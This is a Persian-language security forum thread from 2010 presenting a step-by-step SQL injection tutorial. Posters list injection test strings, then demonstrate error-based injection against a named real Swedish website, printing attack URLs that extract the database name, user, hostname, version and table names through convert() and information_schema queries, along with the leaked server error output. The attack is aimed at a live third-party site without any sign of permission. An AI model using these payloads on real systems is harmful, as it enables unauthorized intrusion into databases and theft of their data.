IT Security Team  
قدیمی 03-08-2010, 10:31 AM   #1
مديريت بخش
 
Provider آواتار ها
 
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
Yahoo1 آموزش SQL Injection

هدف اين تاپيك آموزش گام به گام SQL Injection است.
اميد است با كمك دوستان، به تاپيك موفقي تبديل شود.
Provider آنلاین نیست.   پاسخ با نقل قول
The Following 13 Users Say Thank You to Provider For This Useful Post:
alireza17 (03-12-2011), brwsk007 (06-12-2010), dhmkiev (11-23-2010), havva (04-15-2011), homay (06-16-2011), M3hr@n.S (03-09-2010), nhanpc66 (11-05-2010), ocim32 (02-05-2012), omiditiac (08-17-2011), pd08 (11-15-2011), skyhack (06-28-2011), urcc (04-25-2011), zarbat (05-15-2012)
قدیمی 03-08-2010, 10:32 AM   #2
مديريت بخش
 
Provider آواتار ها
 
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
پیش فرض

در مرحله اول بايد روي سايت هدف متمركز شويم و شروع به جمع آوري اطلاعات از روي سايت كنيم.در اين مرحله موارد زير براي ما اهميت دارد

کد:
پيدا كردن وب سرور
هاي نصب شده بر روي سرور Application*
 Data Base نوع 
ارسال مي شوند Get   و يا  Post توجه به تمام درخواستهايي كه با متد

ویرایش توسط Provider : 03-08-2010 در ساعت 10:34 AM
Provider آنلاین نیست.   پاسخ با نقل قول
The Following 4 Users Say Thank You to Provider For This Useful Post:
dhmkiev (03-02-2011), night25 (01-08-2011), saeed hg (11-12-2011), urcc (04-25-2011)
قدیمی 03-09-2010, 10:28 AM   #3
مديريت بخش
 
r3dm0v3 آواتار ها
 
تاریخ عضویت: Dec 2009
نوشته ها: 186
Thanks: 6
Thanked 238 Times in 99 Posts
پیش فرض

مختصر و مفید به صورت اسلاید:
__________________
[فقط اعضای سایت قادر به دیدن لینکها میباشند ]
r3dm0v3 آنلاین نیست.   پاسخ با نقل قول
The Following 8 Users Say Thank You to r3dm0v3 For This Useful Post:
alireza17 (03-12-2011), brwsk007 (06-12-2010), havva (04-18-2011), LO30an (03-22-2010), mh12345 (06-01-2011), night25 (01-08-2011), saeed hg (11-12-2011), TSAM (10-17-2011)
قدیمی 03-09-2010, 03:00 PM   #4
مديريت بخش
 
firemaker آواتار ها
 
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
پیش فرض مقاله فارسی در مورد SQL Injection

با سلام
یه مقاله فارسی با موضوع Sql Injection برای دوستان میگذارم البته مربوط به سال 2006 هست ولی مطالب خوبی رو بیان کرده و گریزی هم به سایر حملات زده تا جاییکه یه دفعه از XSS سر در میاره. ولی در کل مطالب به درد بخوری داره.
با تشکر
firemaker آنلاین نیست.   پاسخ با نقل قول
The Following 2 Users Say Thank You to firemaker For This Useful Post:
alireza17 (03-12-2011), havva (04-18-2011)
قدیمی 03-09-2010, 03:30 PM   #5
مديريت بخش
 
Provider آواتار ها
 
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
پیش فرض

معولا براي تشخيص آسيب پذير بودن يك سايت لازم است مقادير زير مورد بررسي قرار بگيرند.

کد:
‘
or 1=1
"or 1=1
and 1=1
and 1=2
براي نمونه سايت زير را در نظر بگيريد:

کد:
www.fah.se/index1.asp?siteid=1
با وارد يك در انتهاي آدرس با خطاي زير مواجه مي شويد

کد:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/index1.asp, line 73
و اين يعني
Provider آنلاین نیست.   پاسخ با نقل قول
The Following 4 Users Say Thank You to Provider For This Useful Post:
dhmkiev (11-23-2010), night25 (01-08-2011), saeedhunter (02-11-2011), urcc (04-25-2011)
قدیمی 03-09-2010, 05:32 PM   #6
مديريت بخش
 
firemaker آواتار ها
 
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
Exclamation چگونگی یافتن اینجکشن (SQL Injection Detection)

با سلام
با تشکر از Provider عزیز که این تاپیک رو برپا کردند.
Injection به معنی تزریق و یا وارد کردن یک کوئری SQL به برنامه (وب) ، از طریق ورودیهای برنامه ، از سمت Client می باشد.
برای انجام این کار ، مرحله اول جمع آوری اطلاعاته که برای خودش دنیایی داره. بخشی از این جمع آوری ، یافتن ورودیهای برنامه است شامل:
_ ورودیهای مستقیم برنامه مانند TextBox ها و ...
_ فیلدهایی که بصورت پارامتری در URL به برنامه ارسال می شوند.
_ فیلدهای مخفی که درون صفحه وجود دارند و از طریق متد POST به برنامه ارسال می شوند.

ممکنه این سوال پیش بیاد که فیلدهای مخفی رو چه جوری پیدا کنیم و روی اونا اینجکشن بزنیم. این خودش داستان داره که در اینجا اگه بخوایم به اون بپردازیم کلی زمان می بره و ان شاءالله در تاپیکهای دیگه عمری باشه بهش بپردازیم.

در ادامه باید توی برنامه جاهایی رو که به DataBase اتصالی صورت می گیره ، بررسی نمود برای نمونه :
_ فرم های Authentication یا همان فرم هایی که کاربران از طریق آنها به برنامه لاگین می کنند.
_ Search Engine های برنامه و جاهایی که جستجو صورت می گیرد.
_ سایر جاهایی که اطلاعاتی از بانک خوانده شده و به کاربران نمایش داده می شود و ... .

اکنون باید ورودیهای برنامه چک بشه که با همان روشی که Provider گفت می شه عمل کرد و این کار بر مبنای ایجاد خطا در کوئری صورت می گیره که اگر این خطا در برنامه خودش رو نشون بده و پیغام خطایی نمایش داده بشه ، به معنی وجود اینجکشن در برنامه است که این نوع ، بهترین نوع اینجکشنه. البته انواع دیگری هم مثل Blind و ... وجود داره که بعدن بهش می رسیم.

اووووووه چقدر حرف زدم شما رو هم خسته کردم. بقیش بمونه برای بعد.
با تشکر
firemaker آنلاین نیست.   پاسخ با نقل قول
The Following 13 Users Say Thank You to firemaker For This Useful Post:
alivpnamini (10-23-2011), brwsk007 (06-12-2010), dhmkiev (11-23-2010), Gold_Fa (07-13-2010), Khajedadi (05-14-2011), M3hr@n.S (03-09-2010), night25 (01-08-2011), Provider (03-10-2010), rahnama (03-10-2010), saeed hg (11-12-2011), saeedhunter (02-11-2011), skyhack (06-28-2011), solomon (07-04-2011)
قدیمی 03-10-2010, 03:48 PM   #7
مديريت بخش
 
Provider آواتار ها
 
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
پیش فرض بدست آوردن اطلاعات كلي سرور با SQL Injection

همانطور كه Firemaker عزيز گفتند، Injection انواع مختلفي دارد (Error Based, Union Based, Blind)، كه در حال حاضر مثالي براي نوع Error Based را بررسي ميكنيم.

متوجه شديم، سايت [فقط اعضای سایت قادر به دیدن لینکها میباشند ] آسيب پذير است.
حالا موقع بدست آوردن اطلاعات كلي سايت مي باشد. در نوع Error Based لازم است به نحوي خطايي ايجاد كنيد،
كه به نتيجه دلخواه برسيد. براي نمونه در اينحا خطاي مدنظر بوسيله تابع Convert در هنگام تبديل String به Integer بوجود مي آيد.

اسم Database را با دستور زير مي توانيد بدست آوريد:

کد:
http://www.fah.se/index1.asp?siteid=convert(int,db_name())
بدين ترتيب با خطاي شبيه خطاي زير مواجه مي شويد:

کد:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'fah' to a column of data type int.

/index1.asp, line 73
با كمي دقت متوجه مي شويد كه fah نام Database است.
مي توانيد براي بدست آوردن نام بقيه Database ها به روش زير جلو برويد.
کد:
http://www.fah.se/index1.asp?siteid=convert(int,db_name(0))
http://www.fah.se/index1.asp?siteid=convert(int,db_name(1))
http://www.fah.se/index1.asp?siteid=convert(int,db_name(2))
http://www.fah.se/index1.asp?siteid=convert(int,db_name(3))
و ...
اگر بخواهيد از اسم كاربري كه با Database در حال تعامل است نيز آگاه شويم، مي توانيم از تابع ()user_name به صورت زير استفاده كنيم.

کد:
http://www.fah.se/index1.asp?siteid=convert(int,user_name())---->dbo
توجه به اين نكته داشته باشيد كه اگر User = dbo باشد(مثل اينجا)، توانايي اين را خواهيد داشت كه كل سيستم را در اختيار بگيريد و سرور را
به همين ترتيب به سادگي مي توانيد HostName سرور Database را نيز بدست آوريد.

کد:
http://www.fah.se/index1.asp?siteid=convert(int,host_name())---->DE-0182
اگر بخواهيد نوع Database را نيز بدست بياوريد، به صورت زير اقدام كنيد:

کد:
http://www.fah.se/index1.asp?siteid=convert(int,@@version)

ویرایش توسط Provider : 03-10-2010 در ساعت 03:52 PM
Provider آنلاین نیست.   پاسخ با نقل قول
The Following 10 Users Say Thank You to Provider For This Useful Post:
alireza17 (03-12-2011), alivpnamini (10-23-2011), brwsk007 (06-12-2010), dhmkiev (11-24-2010), holoo81 (03-10-2010), M3hr@n.S (03-10-2010), night25 (01-08-2011), saeed hg (11-12-2011), saeedhunter (02-11-2011), urcc (04-25-2011)
قدیمی 03-13-2010, 03:51 PM   #8
مديريت بخش
 
firemaker آواتار ها
 
تاریخ عضویت: Mar 2010
نوشته ها: 291
Thanks: 113
Thanked 493 Times in 211 Posts
پیش فرض پیش نیاز Sql Injection

با سلام

در راستای ادامه بحث SqlInjection ، امروز یه Help خیلی عالی پیدا کردم که بهونه ای شد تا قدری در مورد پیش نیازهای SqlInjection صحبت کنم.
باید بگم برای کار کردن با SqlInjection نیازه که فرد کمی در مورد کار با بانکهای اطلاعاتی ، ساختار اونا ، طریقه به دست آودن اطلاعات مهم ، پروسیجرهای آسیب پذیر و ... اطلاعاتی داشته باشه.

توی این فایلی که براتون میگذارم ، همه این اطلاعات برای بانکهای اطلاعاتی Sql Server ، Oracle ، MySql و ... آورده شده است که توضیح همه اونا زمان زیادی می بره.

البته این فایل مربوط به یکی از ابزارهای SqlInjection هست که در جایی دیگه هم آورده شده ولی به خاطر ربط اون با این مبحث ، اونو مجدداً اینجا هم آوردم با این امید که این Help برای همه دوستان مفید باشه.

با تشکر

ویرایش توسط firemaker : 03-13-2010 در ساعت 04:01 PM
firemaker آنلاین نیست.   پاسخ با نقل قول
The Following 7 Users Say Thank You to firemaker For This Useful Post:
alireza17 (03-14-2011), havva (04-18-2011), night25 (01-08-2011), Provider (03-15-2010), skyboy (09-08-2011), tbhacims (01-18-2011), urcc (04-25-2011)
قدیمی 03-15-2010, 11:36 AM   #9
مديريت بخش
 
Provider آواتار ها
 
تاریخ عضویت: Feb 2010
نوشته ها: 147
Thanks: 213
Thanked 209 Times in 84 Posts
پیش فرض بدست آوردن نام Tableها

پس از بدست آوردن اطلاعات كلي سرور حالا نوبت به پيدا كردن نام Tableها مي باشد.
براي اين كار لازم است براي بدست آوردن نام اولين Table به صورت زير اقدام كنيم


کد:
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables))
اگر به خطاي بازگشتي توجه كنيد نام اولين Table كه textCols_ مي باشد را بدست آورده ايد.
براي بدست آوردن نام بقيه Table ها نيز بايد با استفاده از NOT IN نام Table هايي كه در مراحل قبل بدست آمده به روش زير كنار گذاشته و نام ديگر Table ها رابدست آوريد.
کد:
http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols')))

http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols','_bgCols')))

http://www.fah.se/index1.asp?siteid=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('_textCols','_bgCols', '_sites')))

خوب به همين ترتيب بايد جلو برويم تا صفحه خطا تغيير كند. به اين ترتيب نام كليه Table را بدست آورده ايد.

ویرایش توسط Provider : 04-13-2010 در ساعت 09:21 AM
Provider آنلاین نیست.   پاسخ با نقل قول
The Following 4 Users Say Thank You to Provider For This Useful Post:
alireza17 (03-17-2011), brwsk007 (06-12-2010), night25 (01-08-2011), saeedhunter (02-11-2011)
قدیمی 03-28-2010, 03:38 PM   #10
عضو جديد
 
cyber-ninja آواتار ها
 
تاریخ عضویت: Mar 2010
نوشته ها: 3
Thanks: 13
Thanked 1 Time in 1 Post
پیش فرض

besiar tashakor azizam besiar amzosh e jaleb bod tashakor qandam
cyber-ninja آنلاین نیست.   پاسخ با نقل قول
The Following User Says Thank You to cyber-ninja For This Useful Post:
saiedsoftt (03-06-2011)
پاسخ

برچسب ها
detection, mysql, oracle, sql injection, sql server, table, چک نمودن, ورودی, یافتن, گام به گام, آموزش, اینجکشن, اطلاعات, تارگت, ستون

ابزارهای موضوع
نحوه نمایش

مجوز های ارسال و ویرایش
شما نمیتوانید موضوع جدیدی ارسال کنید
شما امکان ارسال پاسخ را ندارید
شما نمیتوانید فایل پیوست در پست خود ضمیمه کنید
شما نمیتوانید پست های خود را ویرایش کنید

BB code هست فعال
شکلک ها فعال است
کد [IMG] فعال است
کد HTML غیر فعال است
Trackbacks are فعال
Pingbacks are فعال
Refbacks are فعال



اکنون ساعت 09:21 PM برپایه ساعت جهانی (GMT - گرینویچ) +4.5 می باشد.


Powered by vBulletin
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd

كليه حقوق اين وب سايت براي ITSecTeam محفوظ ميباشد


Content Relevant URLs by vBSEO ©2011, Crawlability, Inc.